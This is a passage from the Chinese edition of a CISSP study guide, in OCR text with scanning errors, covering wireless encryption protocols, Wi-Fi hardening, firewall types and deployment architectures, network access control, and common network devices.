证(Shared Key Authentication， SKA)o OSA 没有真正的认证要求。 只 要无线电信号可以在客户端和
WAP 之间传输， 通信即被允许。 而且， 使用 OSA 的无线网络通常以 明文发送一切信息， 因此未提
供任何保密或安全。 SKA 意味着在进行网络通信时必须进行某种形式的身份认证。 802. 1 1 标准定义
了 有线等效保密(WEP)协议为 S:KJ气 的可选技术之一。 随后， 对原标准 802.11 进行了修订， 增加了
WPA、 WPA2 以及其他的技术。
1. WEP
有线等效保密(WEP)被定义为 IEEE 802. 1 1 标准， 目 的在于为无线网络提供与有线或通信电缆网
络相 同级别的安全性和加密 。 WEP 提供无线传输保护中对数据包嗅探和窃听攻击的防护 。
WEP 的另一个好处是， 它可以被配置来防止未经授权的无线网络访问。 WEP 使用预定义的共
享密钥， 然而并非典型的动态对称密码方案， 共享密钥是静态的并在所有的无线接入点和设备接口
之间进行共享。 此密钥用于在无线链路传输之前加密数据包， 从而提供机密性保护。 哈希值用来验
证接收的数据包在传输过程中不被修改或遭受损坏。 因此， WEP 也提供完整性保护 。 知晓或拥有的
密钥不仅可以加密通信 ， 同 时也 可作为一种基本的身份认证， 没有则禁止进入无线网络。
WEP 在发布的同时几乎就被破解。 目 前， 可 以在不到一分钟 的时 间就破解 WEP， 从而使它成
为毫无价值的安全防范。 幸运的是， 己有 WPA 和 WPA2 来替代 WEPo WPA 是对 WEP 的改进， 它
不使用静态密钥来加密所有的通信 。 相反， 它和每一个主机协商一个单独的密钥 。 然而， 一个单一
的 口令被用来授权与基站之间的关联(例如， 让一个新客户建立连接)。 如果密码不够长 ， 它可能被
猜到 ， 通常建议采取 1 4 个字符或更长 的 口令。
WEP 加密采用 RC4 流密码算法， 它是一个对称流加密算法(可 以参阅第 6 章 " 密码学与对称密
钥算法" 以及第 7 章 " PKl 和密码学应用 " 以获得更多关于该加密算法的信息)。 由于 RC4 在设计
和实现上的缺陷， WEP 在若干地方存在薄弱点 ， 它们是使用静态的公共密钥和薄弱的 Iv(起始向 量)。
由于这些缺点， 对 WEP 进行破解后可以获得足够的、 使用不当 的 IV 以发现 WEP 密钥。 这种攻击
现在可以在不到 60 秒的时间 内进行 。 当 WEP 密钥被发现后， 攻击者就可以加入网络， 并监听所有
其他无线客户端的通信。 因此， 不应该使用 WEPo WEP 并没有提供真正的保护， 可能会导致产生
一种虚假的安全感。
2. WPA
WPA 被设计用来替代 WEP; 它是一个临时的解决办法， 直到新的 802. 1 1i 修订版完成。 制作新
修订花费了数年的时间， 因此 WPA 在市场上得以立足并且直到今天仍然被广泛使用 。 此外 ， WPA
可用于大多数设备 ， 包括不支持 802. 11i 特性的一些低端硬件。
802. 11i 是代替 WEP 加密解决方案的修订协议。 然而， 当 802. 11i 定稿时， WPA 解决方案己经
被广泛使用 ， 所以不能使用原来计划的 WPA 名称， 于是被称为 WPA2 。但这并不表明 802.1li是 WPA
第二版。 事实上， 它们是完全不同 的技术。 802. 11i或 WPA2 实现了类似于 IPSec 的概念并为无线通
信带来最好、 最新的加密和安全性。
第 11 章 网络安全架构与保护网络组件
WPA 基于 LEAP 和 TKIP 加密体系并通常使用安全加密用于认证。 遗憾的是， 使用单个静态的
密码将彻底损坏 WPA 的安全性。 攻击者可以简单地在 WPA 网络中运行暴力猜测攻击以发现密码。
如果密码是 1 4 位字符或更长， 这通常是时间 问题， 但并非不可能无法破解。 此外， 无论是 WPA 的
LEAP 还是 TKIP 加密选工页 ， 目 前都可以使用不同的破解技术进行破解。 尽管 WPA 比 WEP 更复杂，
但 WPA 不再提供长期可靠的安全。
3. WPA2
最后， 一种新的确保无线安全的方法被开发出来， 井且截至 目 前仍然被认为是安全的。 这就是
被称为 802.11i 或 WPA2 的修订方案。 这是一种新的加密方案， 称为计数器模式密码块链接消息认
证码协议(Counter Mode Cipher Block Chaining Message Authentication Code Protocol， CCMP) ， 这是基
于 AES 的加密方案 。 到 目 前为止， 还没有实际的攻击能破坏正确配置的 WPA2 无线网络加密。
4. 802.1X1EAP
WPA 和 WPA2 都支持称为企业认证的 802.1 万EAP ， 这是一个标准的基于端口 的网络访问控制
协议， 确保客户端在没有发生正确认证时不能和资源发生通信联系。 802. 1 X 是一种有效允许无线网
络利用现有的网络基础设施进行认证服务的协议 。 通过使用 802.1x， 其他技术和解决方案 ， 如
RADIUS、 TACACS、 证书、 智能卡、 令牌和生物识别设备， 可 以被集成到无线网络中并提供包括
进行交互和 多 因 子认证的技术。
EAP(Extensible Authentication Protocol， 可扩展认证协议)是认证框架而不是具体的认证机制。 实
际上， EAP 可 以允许新的认证技术与现有无线或点对点连接技术兼容。 有超过 40 种不同 的 EAP 认
证方法获得广泛支持。 这些 EAP 方法包括 LEAP、 EAP-TLS、 EAP-SIM、 EAP-成A 和 EAP-τTLS。
不是所有的 EAP 方法都是安全的。 例如， EAP-MD5 和之前版本的 LEAP 也会被破解。
5. PEAP
PEAP(prot巳cted EAP， 受保护的可扩展认证协议)通过 TLS 隧道封装 EAP 方法， 提供了认证和
潜在的加密功能。 由于 EAP 最初被设计用于在物理上隔离通道， 因此假定固定通路， EAP 通常是
不加密的。 所以， PEAP 可以为 EAP 方法提供加密 。
6. LEAP
LEAP(Lightweight EAP， 轻量级可扩展认证协议)是 Cisco 专有的， 用 于 WPA 替代 TKIP。 在
802. 1 1川TAP2 系统被批准为标准之前， 它被开发用于应对 TKIP 地址不足的情况 。 一种称为 Asleap
的攻击工具在 2004 年发布， 该工具可以破解 LEAP 提供的最终脆弱保护。 如果可能， 应尽量避免
使用 LEAP 并建议使用 EAP-TLS 作为一种替代。 但如果己使用 LEAP， 强烈推荐使用复杂的密码。
7. MAC 过滤器
MAC 过滤器是一系列授权的无线客户端接口 MAC 地址， 这些地址被无线接入点用来阻断那些
未经授权的设备。 虽然这是一个有用的特性， 但是它难 以管理， 并且往往只使用在小型、 静态的环
境中。 此外， 黑客通过基本的无线黑客工具就可以发现有效客户端的 MAC 地址， 然后伪装成该地
址对无线客户端发起攻击。
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8. TKIP
TKIP(Temporal Key Integrity Prot∞01， 临时密钥完整性协议)被设计为替代 WEP 而不需要更换无
线硬件。 TKIP 在无线网络 802. 1 1 WPA 的名称下得到应用 。 TKIP 改进了很多， 包括密钥的混合功
能， 该功能在使用 RC4 算法密钥进行加密之前结合了初始向量(IV， 一个随机数)与安全的根密钥;
一个序列计数器被用来防止报文重放攻击; 同时还使用 了 一种强大的称为 Michael 的完整性检查。
TKIP 和 WPA 在 2004 年被 WPA2 正式取代。 此外 ， 对 WPA 和 TKIP 的特定攻击(如 WPAtty 和
基于 GPU 的攻击工具)都验证了 WPA 提供的安全性是不可靠的 。
9. CCMP
CCMP(计数器模式密码块链接消息认证码协议)用 于取代 WEP 和 TKIP/\\几PAo CCMP 使用
AES(高级加密标准)和 128 位的密钥。 CCMP 是 802.l1i 制定的在 802. 1 1 无线网络中首选的标准安全
协 议。 到 目 前为止， 还没有攻击能成功破解 AES/CCMP 加密。
1 1 .5.5 天线位置的确定
在部署无线网络时， 天线位置应该是一个值得关注的 问题。 不要在适当的现场勘测完成之前就
固定到一个特定的位置。 将无线接入点和/或它的天线放置在一个可能的位置， 然后测试不同位置的
信号强度和连接质量。 只有在确认该潜在的天线位置提供了令人满意的连接后， 才应该进行永久性
的固定。
在寻找最佳天线位置时应考虑 以下准则 :
• 使用 中 央位置
• 避开固体物理障碍物
• 避开反射或其他平整 的金属表面
• 避开电气设备
如果基站具有外部的全向天线， 通常它们应该在垂直方向进行垂直定位。 如果使用定向天线 ，
指向所需使用的区域的焦点。 记住 ， 无线信号会受到干扰、 距离和障碍物的影响 。 当设计安全的无
线网络时， 工程师可以选择定向天线， 以避免在不希望的地区提供广播信号或在专门覆盖的区域具
有更强的信号 。
1 1 .5.6 天线类型
有很多各种各样的天线类型可用于无线客户端和基站。 许多设备可以用更强的(例如， 信号增强)
天线替代原有的标准天线 。
标准的直杆或杆天线是一种全向天线 ， 可 以在垂直于天线本身的方向上发送和接收信号。 在大
多数基站和一些客户端设备上可发现这种天线类型。 这种类型的天线有时也被称为基础天线或橡胶
天线(事实上大多数天线 由橡胶涂层覆盖)。
其他大多数类型的天线是定向的， 这意味着它们专注于某个主要方向 的发送和接收能力。 一些
例子包括 Yagi 天线、 cantenna 天线、 面板天线和抛物面天线。 Yagi 天线的结构和屋顶上传统的 电视
天线是相似的。 Yagi 天线从一个截面直杆在主杆的方向捕捉特定的无线电频率。 臼ntenna 天线由一
第 11 章 网络安全架构与保护网络组件
段封闭的许多管子构成。 它们沿着管的开口 方向集中 。 一些第一代的 cantenna 天线选取 Pringles 薯
片罐进行制作 。 平板天线是一种平板设备， 只 关注于面板的一个侧面。 抛物面天线则用来聚焦从很
远 的距离发来的或微弱来源的信号 。
1 1 .5.7 调整功率水平控制
一些无线接入点提供了物理或逻辑调整天线功率水平的功能。 功率控制通常由厂家设定为适用
于大多数的情况。 但是， 如果在进行现场勘测和调整天线位置后， 无线信号仍然无法令人满意 ， 功
率水平调整可能是必要的。 然而， 要记住改变信道， 避免反射和信号散射表面以减少干扰， 往往可
以 更有效地改善连接可靠性。
当调整功率水平时 ， 要进行微调， 而不是试图将设置最大化或最小化。 此外， 需要注意初始/
默认设置以便必要时可以返回到该设置。 在每一次功率水平调整后， 在重新进行现场勘测和质量测
试之前重置/重新启动无线接入点。 有时降低功率水平可以提高性能。 需要记住， 一些无线接入点能
够提供比一些国家许可规定更高的功率水平。
1 1 .5.8 使用强制门户
强制门 户是一种认证技术， 它将新连接的无线 Web 客户端重定向到强制 门 户访问控制 页面。 这
个门户页面可能需要用户输入付款信息、 提供登录凭据或输入访问代码。 强制 门户也被用来给用户
显示可访问 的使用策略、 隐私策略和跟踪策略， 用户必须同意策略才能接入网络进行通信 。 强制 门
户 经常用于提供公共用途的无线网络， 如酒店、 餐馆、 酒吧、 机场、 图书馆等。 当然， 它们也可用
于有线 以太网连接。
1 1 .5.9 一般的 Wi-Fi 安全措施
这里基于无线安全和配置选项的细节， 给出 了在部署 Wi-Fi 网络时应遵循的指南或程序。 这些
步骤是为了 考虑应用和安装。 此外， 这些步骤并不意味着哪一步提供更多的安全性。 例如， 使用
WPA2 相对于 SSID 广播禁用 能提供真正的安全性 。 下面是具体步骤:
(1) 改变默认的管理员密码。
(2) 关 闭 SSID 广播。
(3) 变更 SSID 到特定的方式。
(4) 如 果无线客户端 比较少且是静态的， 启 用 MAC 过滤。
(5) 考虑使用 静态 IP 地址， 或配置保留 的 DHCP(仅适用于 小型部署)。
(6) 开启支持的身份认证和加密的最高形式。 如果不提供 WPA2， 那么使用 WPA和WEP 提供
非常有限的保护 也 比未加密的 网络好得多。
(7) 把无线视为远程访问， 并使用 802. 1 x 进行访 问管理。
(8) 把无线视为外部接入， 把 WAP 和有线网络用 防火墙进行隔离。
(9) 把无线视为攻击者的入 口 ， 用 IDS 监控所有 WAP 到有钱网络的 通信流量。
( 1 0) 需要对无线客户端和 WAP 之 间 的通信进行加密 ， 换句话说， 需 要 VPN 连接。
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CISSP 官方学 习指南(第 7 版)
注意 :
通常， 添加数据加密层阴哩'A2和 IPSec VPN)和其他形式的过滤， 无线链路将降低高达 80%的有
效吞吐量 。 此外 ， 在相对基站更远的距 离 和存在干扰的存在下， 将进一步减 少有效吞吐量 。
无线攻击
即使有无线安全的保护 ， 无线攻击也仍然可以发生。 有各种不断增加和变化的攻击 ， 专 门针对
许多有线和无线网络的工作环境。 少部分攻击也专注于无线网 络。 例如， 有一个技术的合集， 通常
被称为 战争驾驶， 用 于发现使用 中的无线网络。 此活动 包括使用 无线接口 或无线检测器来定位无线
网络信号。 一旦攻击者知道无线网 络的存在， 他们就可以利用嗅探器收集无线数据包并进行调查。
通过使用 正确的工具， 攻击者可以发现隐藏的 SSID、 活动中 的 E 地址、 有效的 MAC 地址， 甚至
无线用 户 使用 的认证机制 。 从那里， 攻击者可以抓取和使用 专 门 的破解工具， 尝试突破连接或试图
进行中 间人攻击。 保护机制越陈 l日 ， 保护能力越薄弱 ， 攻击的成功性和时效性就越高 。
11.6 保护网 络组件
互联网上包括了无数信息服务和众多应用程序， 包括 Web、 电子邮件、 盯P、 Telnet、 新闻组和
聊天室等。 互联网还是怀有恶意的人的家园 ， 这些人的主要 目 的就是定位他人的计算机并提取有价
值的数据， 利用他人的计算机发动进一步的攻击， 或者通过某些方式进行破坏。 我们应当熟悉互联
网 ， 并且通过自 己的联机实践能够容易地识别互联网的优点与弱点 。 由于互联网的成功与全球化应
用 ， 互联网的许多技术被改编或集成到专用的商业网络。 这就出现了两种新的网络形式: 内部网和
外部网 。
内 部网是一种专用网络， 被设计用于集成与建立在互联网上的相同信息服务。 依赖于外部服务
器(也就是在公共的互联网上放置的服务器)在内 部提供信息服务的网络不被视为内部网。 内部网为
用户提供对内部服务器上的 Web、 电子邮件和其他服务的访问， 这些服务对于专用网络外部的任何
人来说都是不可访问的。
外部网是互联网和内部网之间的中间网络。 外部网是组织网络中被分离出 的一部分， 因业七对于
专用 网络来说， 它是一个内部网， 但是它还为公共的互联网提供信息服务。 外部网常常被预留给特
定的合作伙伴或客户使用 ， 并且极少依赖于公共网络。 供公共消费 的外部网通常被标记为隔离区
(DMZ)或边界网络。
网络通常不被配置为单一的大集合系统。 通常网络被分隔或细分成较小的组织单位。 这些更小
的单位、 分组、 分段或子网络(即子网)可 以用来提高网络的各个方面:
提高性能 网络分隔可以通过组织方案提高性能， 这样经常通信的系统位于同一个网段， 而很
少或无任何通信的系统位于其他网段。
减少通信 网络分隔往往能减少通信拥塞和容纳通信问题， 如广播风暴、 单独的 网络分段。
提高安全性 网络分隔可提高安全性， 可通过隔离数据流以及需要用户接入认证的网络段来加
以实现。
可 以通过基于交换机的 VL刷、 路由器或防火墙抑或它们的组合进行网络分隔 。 私有局域网或
内部网、 DMZ 和 外部网都是网络分隔的类型 。
正在设计安全网络时(无论是专用 网络、 内 部网还是外部网)， 必须对众多的网络连接设备进行
第 11 章 网络安全架构与保护网络组件
评估。 对于安全网络来说， 不是所有这些组件都是必要的， 但它们都是可能对网络安全性产生影响
的常用 网络设备。
1 1 .6.1 网络接入控制
网络接入控制(NAC)是一种访问控制环境中通过严格遵守和实施安全策略的概念。 NAC 领域的
目 标如下:
• 预 防/减少 O-day 攻击
• 加强网络通信的 安全策略
• 使用验证完成访 问 控制
NAC 的目标可以通过使用强大且详细的安全策略来达到 。 这些措施明确了 从客户端到服务器以
及所有内部或外部沟通中每台设备的安全控制 、 过滤、 预防、 检测和响应。 NAC 作为一种 自 动检测
和响应系统， 可 以实时反应， 在威胁引 起损坏或破坏之前就对其进行阻断。
最初， 802. 1x(提供基于端口 的 NAC)被认为体现了 NAC， 但大多数的支持者认为 802. 1x 仅仅是
NAC 的一种简单形式或者只 是完整 NAC 解决方案的组成部分。
NAC 可 以通过进入前评估方式或进入后评估方式 ， 或结合这两种方式进行应用 :
• 进入前评估方式需要系统满足当前的安全要求(如应用补丁和杀毒软件更新)才被允许与网
络进行通信 。
• 进入后评估方式基于用户的活动允许访 问或拒绝访问， 是预定义的授权矩阵。
其他围绕 NAC 的问题包括客户端/系统代理与整体网络监控(非代理); 带外与带内 监测 ; 以及
分解任何补救 、 隔离或强制门 户策略。 这些和其他的 NAC 问题必须在实施之前进行考虑和评估。
1 1 .6.2 防火墙
防火墙是管理和控制网络通信的必要工具。 防火墙是一种用于过滤通信的网络设备， 并且通常
部署在专用网络与互联网 的连接之间 ， 也可以部署在公司 内 的不同部门之间。 如果没有防火墙， 那
么 就无法限制来自 互联网 的恶意通信进入专用网络。 防火墙基于己定义的一组规则(也被称为过滤器
或访问控制列表)对通信进行过滤。 这些规则本质上是一组指令， 这组指令被用于 区分己授权的通信
和 非授权的或恶意的通信 。 只 有 己授权的通信才被允许通过防火墙所提供的安全屏障。
防火墙被用于阻止或过滤通信。 针对未请求的通信和从外部连接专用网络的企图， 以及基于内
容、 应用 、 协议、 端 口或源地址来阻止己知的恶意数据、 消息或数据包， 防火墙都是最有效的 。 防
火墙能够对公共网络隐藏专用网络的结构和寻址方案。 大多数防火墙都提供广泛的 日 志记录、 审计
和 监控性能， 以及警报和基本的入侵检测系 统(IDS)功能。
防火墙通常不能阻止通过其他己授权通信信道传送的病毒或恶意代码， 不能防止未授权的但由
用 户无意或有意造成的信息泄漏， 不能防范防火墙之后的恶意用户所进行的攻击， 也不能在数据离
开或进入专用网络之后对其进行保护。 不过， 可以通过特殊的插件模块或同类产品(例如， 防病毒扫描
装置和 IDS 工具)来添加这些功能。 这些防火墙设备可通过预设配置去执行所有(或大多数)附加功能。
除了记录网络通信活动之外 ， 防火墙还应 当记录下面这些事件:
• 防火墙的重启
• 无法启 动 的代理或依赖服务
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CISSP 官方学 习指南(第 7 版)
• 崩 溃或重新启 动 的代理或其他重要服务
• 对防火墙配置文件的更改
• 防火墙运行时的配置或系统错误
防火墙只是总体安全解决方案的一部分。 在使用防火墙的情况下， 许多安全机制会集中在一个
位置， 因此防火墙可能出现单点故障。 防火墙故障往往是由人为错误和不当配置造成的。 防火墙不
对子网 内(也就是防火墙之后)的通信提供保护 ， 而是只对通过防火墙的、 从一个子网到另一个子网
的通信提供保护 。
防火墙的基本类型有 4 种 : 静态的数据包过滤防火墙、 应用级网关防火墙、 电路级网关防火墙
以及状态检测防火墙。 此外， 通过将两种或多种防火墙类型组合为单个防火墙解决方案， 也可 以创
建混合的或复杂的网关防火墙 。 大多数情况下， 使用多级别防火墙能够更好地控制通信过滤。 不管
怎样 ， 接下来将要介绍各种防火墙类型 ， 并且还将讨论防火墙部署的体系结构 。
静态的数据包过洁、防火墙 静态的数据包过滤防火墙通过检查报文头部的数据进行通信过滤。
通常， 过滤规则关注于源地址、 目 的地址和端口 地址。 使用静态过滤时， 防火墙不能为用户提供身
份认证， 也不能告知数据包来 自 专用 网络内部还是外部， 并且很容易受到虚假数据包的欺骗 。 静态
的数据包过滤防火墙被称为第一代防火墙， 在 OSI 模型的第 3 层(网络层)上工作。 此外， 这种防火
墙也被称为屏蔽路由 器或常用路由器。
应用级网关防火墙 应用级网关防火墙也被称为代理防火墙。 代理是一种可以将数据包从一个
网络复制到另一个网络的机制 : 为了保护 内部或专用 网络的身份， 复制过程还改变了源地址和 目 的
地址。 应用级网关防火墙基于用于传送或接收数据的网络服务(也就是应用)来过滤通信。 每种应用
类型都必须具有 自 己唯一的代理服务器。 因此， 应用级 网关防火墙包括很多独立的代理服务器。 由
于每个信息数据包在通过防火墙时都必须经过检查和处理， 因此这种类型的防火墙对于网络的性
能会产生负面影响 。 应用级网关防火墙被称为第二代防火墙， 并且在 OSI 模型的应用层(第 7 层)上
工作 。
电路级网关防火墙 电路级网关防火墙用于在可信合作伙伴之间建立通信会话， 在 OSI 模型的
会话层(第 5 层)上工作。 SOCKS(来 自 安全套接字， 就像 TCPIIP 端口一样)是电路级网关防火墙的通
用实现。 电路级网关防火墙也称为电路代理， 在 电路的基础上管理通信 ， 而不是基于通信的内容管
理通信 。 这种防火墙只基于通信电路的终点名称(也就是源地址、 目 的地址以及服务端口号)来许可
或拒绝转发决策。 因 为它们代表对应用级网关防火墙概念的更改， 所 以 电路级网关防火墙仍然被视
为第二代防火墙。
状态检测防火墙 状态检测防火墙(也被称为动态包过滤防火墙)对网络通信的状态或环境进行
评估。 通过查看源地址和 目 的地址、 应用 习惯、 起源地以及当前数据包与同一会话先前数据包之间
的关系， 状态检测防火墙就能够为己授权的用户和活动授予广泛的访问权限， 并且能够积极地监视
和阻止未授权的用户和活动。 状态检测防火墙通常比应用级网关防火墙更有效。 状态检测防火墙被
视为第三代防火墙 ， 并且在 OSI 模型的网络层和传输层(第 3 层和第 4 层)上工作 。
1 . 多宿主防火墙
某些防火墙系统具有多个接口 。 例如， 多宿主防火墙必须至少具有两个过滤通信的接口(具有两
个接口 的防火墙被称为双宿主防火墙)。 应该禁用所有多宿主防火墙的 E 转发功能， 以便使过滤规
则控制所有通信 ， 而非允许接口 之间存在软件支持的捷径。 堡垒主机或屏蔽主机只 是位于专用网络
和不可信网络之间的防火墙系统。 通常， 堡垒主机位于连接专用网络和不可信网络的路由器之后。
第 11 章 网络安全架构与保护网络组件
所有入站通信都被路由至堡垒主机， 随后堡垒主机作为专用网络内所有可信系统的代理。 堡垒主机
不仅负责过滤进入专用网络的通信 ， 而且还负责 保护 内 部客户端的身份。
注意 :
术语 "堡垒" 来源于 中世纪的城堡建筑风格， 其中， 堡垒警戒室住于主入 口 的前面 ， 从而提供
第 一层防御保护。 使用这个术语描述防火墙， 表明 防火墙的作用相 当 于接受入站攻击的牺牲性主机。
屏蔽子网位于两个路由器之间 ， 并且堡垒主机就位于这个子网 内 ， 除此之外， 屏蔽子网与屏蔽
主机(也就是堡垒主机)在概念上相似。 所有入站通信都被定向至堡垒主机， 并且只有白堡垒主机代
理的通信才能够通过第二个路由器进入专用网络。 这种方式会创建一个子网， 在该子网 内 ， 某些外
部访问者被允许与网络提供的资源进行通信。 上面介绍的就是 DMZ 的概念， DMZ是一个被设计为
外部访问 者能够访问 的网络区域， 不过这个区 域仍然与组织的专用网络相隔离。 DMZ 常常是公共
Web、 电子邮件 、 文件 以及其他资源服务器的宿主。
2. 防火墙部署的体系结构
防火墙部署的体系结构一般有三种 : 单层 、 双层和三层(也被称为多层)。
你能从图 1 1.8 中看到， 单层部署将专用网络置于防火墙之后， 防火墙通过路由器连接互联网(或
者其他某些不可信网络)。 单层部署只 用于针对一般的攻击。 这种体系结构只提供最低限度的保护。
防火墙 专用网络
I I
单层
路由器 防火墙 专用网络
路由器 防火墙 防火墙
双层 Il
路由器 防火墙 防火墙
DMZ 事务处理子网 专用 网络
三层 I
路由器 防火墙 事务处理子网 防火墙 专用网络
三层 JI DMZ
I J I I
图门8 防 火墙部署的三种体系结构
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CISSP 官方学 习指南(第 7 版)
双层部署体系结构可能采用两种不同的设计方式之一。 一种设计使用一个具有三个或更多个接
口 的防火墙， 另一种设计则串联使用两个防火墙 。 这种体系结构允许存在一个 DMZ 或公共可访问
的外部网。 在第一种设计中 ， DMZ 位于主防火墙的其中一个接口 ; 而在第二种设计中 ， DMZ 位于
两个串联的防火墙之间 。 DMZ 用 于驻留外部用户能够访问 的信息服务器系统。 防火墙根据其严格
的过滤规则将通信路由至 DMZ 或可信网络。 这种体系结构引入了 中等级别的路由和过滤复杂性。
三层部署体系结构是在专用网络与互联网之间用防火墙隔离的多个子网部署。 后续的每个防火
墙都使用更严格的过滤规则 ， 只接受可信来源的通信。 最外面的子网往往是 DMZ。 中间的子网可
以作为事务处理子网 ， 在这种子网 内 ， 系统需要支持在 DMZ 中驻留的复杂的 Web 应用程序。 第三
个或后端子网能够支持专用网络。 这种体系结构是最安全的， 不过其设计、 实现和管理也是最复杂的 。
1 1 .6.3 终端安全
终端安全的概念是指每个单独设备必须维护本地安全， 不论其网络或通信信道是否提供安全。
有时这被表示为"末端设备应对自 己的安全负责"。 然而， 一个更清晰的视角是网络中 的任何脆弱点，
无论其是否是在边界上 、 在服务器上或在客户端上 ， 都对组织内 的所有元素构成风险。
传统的安全取决于网络的边界入口 ， 通过诸如应用防火墙、 代理服务器、 集中式病毒扫描程序，
甚至是 IDSIIPSIIDP 解决方案来为网络中的所有内部节点提供安全保障。 这 已经不被认为是最佳行
业实践， 因为内部威胁和外部威胁一样多 。 网络 的安全取决于其最薄弱 的元素。
当更多远程访问服务， 包括拨号 、 无线和 VPN 可能允许外部实体 (己授权或未授权)来访问专用
网络而不必经过边界安全检查时， 缺乏 内部的安全将导致更多 的 问题 。
终端安全应视为在每个单独主机上提供足够安全努力的一个方面。 每个系统都应该有合适的安
全组合， 包含本地主机防火墙 、 反恶意软件扫描 、 身份认证、 授权、 审计和垃圾邮件过滤器以及
IDS/IPS 服务。
328
1 1 .6.4 其他网络设备
当构建一个网络时 ， 会使用 许多设备。 深入了解这些网络组件有助于设计避免单点故障的 IT
基础架构 ， 井且能够提供对可用性 的强大支持。
冲突与广播
当 两个系统同 时在只 支持羊条传输路径的连才i1r质上传送数据时， 就会发生冲突。 当 羊个系统
向所有可能的接收者传输数据时， 就会发生广播。 一般来说， 冲 突往往需要被避免和阻止， 而广播
有时则是有用 的 。 对冲 突和广播的管理引 入 了 一个名 为 "域" 的新术语。
冲 突域是一个互联系统组， 如果纽内 的任何两个(或多个)系统同 时进行传输， 那 么就会发生冲
突。 冲 突域外部的任何 系 统都 不会与 冲 突域内部的任何成员发生冲突。
广播域也是一个互联系统组， 如果组内的某个成员 传输广播信号， 那 么组 内 的其他所有成员 都
会接收到 广 播。 广 播域外部的任何 系 统都不会接收到 来 自 该广播域的 广播信号。
在设计和部署网络时， 应 当 考虑如何管理冲 突域和广播域。 使用任何第二层或更高层设备可以
分隔冲 突域， 即有倒可第二层或更高层设备则可以分隔广播域。 域被分隔时， 就意味着部署设备另
一侧的 系 统是不同域的成员 。
第 11 章 网络安全架构与保护网络组件
下面列出了一些网络中 的硬件设备:
中继器、 集中器和放大器 中 继器、 集中器和放大器用于加强线缆段上的通信信号以及连接使
用相同协议的网段。 通过在较长的线缆上部署一个或多个中继器， 这些设备就能用于延长特定线缆
类型的最大长度。 中继器、 集中器和放大器在 OSI 模型的第 1 层上工作。 中 继器、 集中器或放大器
两侧的系统都位于相 同 的冲突域和广播域内 。
集线器 集线器用于连接多个系统以及连接使用相同协议的网段。 它们将入站通信在所有出 站
端口上进行中继。 这确保了通信将到达预计的主机。 集线器是一种多端 口 的 中继器， 它在 OSI 模型
的第 1 层上工作。 集线器两侧的系统都位于同一冲突域和广播域内。 大多数组织有非集线器的安全
策略来限制或减少窃听的风险， 因 为集线器是一种过时的技术 ， 交换机 己 替代它们 。
调制解调器 传统的陆线调制解调器(调制器-解调器)是一种通信装置， 其在模拟信号和数字信
息之间进行覆盖或调制， 以支持在公共电话网络σsη。线路上进行计算机通信 。 在 20 世纪 60 年代
到 90 年代中期， 调制解调器通常指广域网通信 。 调制解调器后来被包括 ISDN、 DSL 调制解调器、
电缆调制解调器、 802. 1 1 无线调制解调器以及各种形式的无线调制解调器的数字宽带技术替代。
注意 :
调制解调器这个术语通常被不正确地用 于称呼那些并不真正进行调制解调的设备。 大多数被称
为 调制解调 器(电缆、 DSL、 ISDN、 无线调制解调 器等)的现代设备是路由器而 不是调制解调 器。
桥 桥用于将两个网络(即使是拓扑结构、 线缆连接类型和速度不同 的网络)连接在一起， 以便
连接使用相 同协议的网段。 桥将通信从一个网络转发至另一个网络。 将使用不同传输速率的网络连
接在一起的桥可以缓存数据包， 直至这些数据包被转发至较慢的网络， 这被称为存储转发设备。 桥
在 OSI 模型的第 2 层上工作。 桥两侧的系统位于相 同 的广播域 内 ， 不过所在 的冲突域不同。
交换机 如果不使用集线器， 那么可以考虑使用交换机或智能集线器。 交换机知道在每个出 站
端 口上连接的系统的地址。 与在所有出站端 口上中继通信不同， 交换机只在己知存在 的 目 的地所在
的出站端 口外对通信进行中继。 交换机能够更有效地进行流量传递、 建立隔离的冲突域以及提高数
据的总体吞吐量。 在用于创建VL州 时， 交换机也可以创建隔离的广播域。 如果采用这样的配置，
那么广播只允许在单个 VLAN 内 ， 不允许从一个 VL剧 顺利地穿越至另 一个 VL剧。 交换机主要
在 OSI 模型的第 2 层上工作。 当交换机具有额外的功能时(如路由)， 那么也可以在 OSI 模型的第 3
层上工作(例如， 在 VLAN 之间进行路由 的情况)。 在第 2 层上工作的交换机， 其两侧的系统位于同
一广播域内 ， 不过所在的冲突域不同。 在第 3 层上工作的交换机， 其两侧的系统位于不同的广播域
和冲突域 内 。 交换机用于连接使用相同协议的网段。
路由器 路由器用于控制网络上的通信流， 井常用来连接相似的网络以及控制两者之间的通信
流。 路由器既可以利用静态定义的路由表进行工作 ， 也可以采用动态的路由系统。 动态的路由协议
有很多种， 例如 RIP、 OSPF 和 BGP。 路由器在 OSI 模型的第 3 层上工作。 路由器两侧的系统属于
不 同 的广播域和冲突域。 路由器用 于连接使用相 同协议的网段。
桥式路由器 桥式路由器是一种由路由器和桥组成的组合设备。 桥式路由器首先尝试路由 ， 如
果路由失败， 那么就默认进行桥接。 因此， 桥式路由器主要在 OSI 模型的第 3 层上工作， 不过必要
时也可以在第 2 层上工作 。 在第 3 层上工作的桥式路由器， 其两侧的系统位于不 同的广播域和冲突
域内。 在第 2 层上工作的桥式路由器， 其两侧的系统位于相同 的广播域内， 不过所在的冲突域不同 。
桥式路由 器用于连接使用 相 同 协议的网段。
网关 网关能够连接使用不同网络协议的 网络。 通过将通信的格式转换为与每个网络采用的协
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CISSP 官方学 习指南(第 7 版)
议或传输方法都兼容的形式， 网关就可以负责从一个网络向另一个网络传输通信信息。 网关也被称
为协议转换器， 既可以作为独立硬件设备， 也可以作为一种软件服务(例如 ， IP-to-IPX 网关)。 网关
两侧的系统位于不同的广播域和冲突域内 。 网关用于连接使用不 同协议的网段。 网关具有很多类型 ，
包括数据 、 邮件、 应用 、 安全和 互联 网 。 网关通常在 OSI 模型的第 7 层上工作。
代理 代理是一种不需要在协议之间进行转换的网关。 相反， 代理能够充当网络的中介、 过滤
器、 缓存服务器甚至 NATIPAT 服务器。 代理代表另一个系统执行操作或请求服务， 并且连接使用相
同协议的网段。 代理最常被用于为专用 网络中 的客户端提供互联网访问 ， 同时又保护客户端身份的
环境中 。 代理从客户端接受请求， 更改请求者的源地址， 维持与客户端请求的映射， 并且将更改过
的请求数据包发出 。 这种机制就是通常所说的网络地址转换(NAT)。 一旦接收到回应， 代理服务器
就会通过查看映射来决定预定的客户端， 然后将数据包发送给该客户端。 代理两侧的系统位于不同
的广播域和冲突域 内 。
网络基础架构的详细清单
如果得到 了 组织 的批准， 那 么 全面 查看或记录构成组织的 网络的重要组件。 看看你能够在网络
